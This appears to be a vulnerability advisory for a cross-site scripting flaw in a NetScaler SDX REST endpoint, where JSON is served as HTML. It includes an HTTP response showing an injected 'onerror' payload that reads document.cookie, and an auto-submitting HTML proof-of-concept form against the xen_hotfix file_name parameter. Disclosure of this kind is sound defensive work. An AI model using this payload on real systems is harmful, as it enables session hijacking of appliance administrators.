The Cross-Site Scripting vulnerability exists because the REST interface returns an incorrect Content-Type HTTP response header. The interfaces states that the content returned is HTML, while in fact it is JSON. Due to this it is possible to cause browser to render the JSON response as HTML. User input included in the JSON response is JSON encoded, not HTML encoded. Due to this, it is possible to inject arbitrary HTML content in the JSON data that will be rendered and executed by the browser.

This issue is exploitable on the /nitro/v1/config/xen_hotfix page through the file_name parameter. Below is an example HTTP response in which this issue is demonstrated.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

{ "errorcode": 16004, "message": "Failed to obtain uuid for hotfix cmd.xsupdate<img src=a onerror=alert(document.cookie)>, error string = 'xe patch-upload file-name=\"\/root\/cmd.xsupdate<img src=a onerror=alert(document.cookie)>\"\r\nOperation failed. Error: file '\/root\/cmd.xsupdate<img src=a onerror=alert(document.cookie)>' does not exist\r\n\u001b]0;root@NetScaler-sdx:~\u0007[root@NetScaler-sdx ~]#'", "severity": "ERROR" }

Proof of concept:
<html>
<body>
<form id="form" method="POST" action="https://<target>/nitro/v1/config/xen_hotfix" enctype="text/plain">
<input type="hidden" name="object" value='{"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a [{"file_name"%3a" cmd.xsupdate<img%20src%3da%20onerror%3dalert(document.cookie)>"}]}' />
<input type="submit" value="submit">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
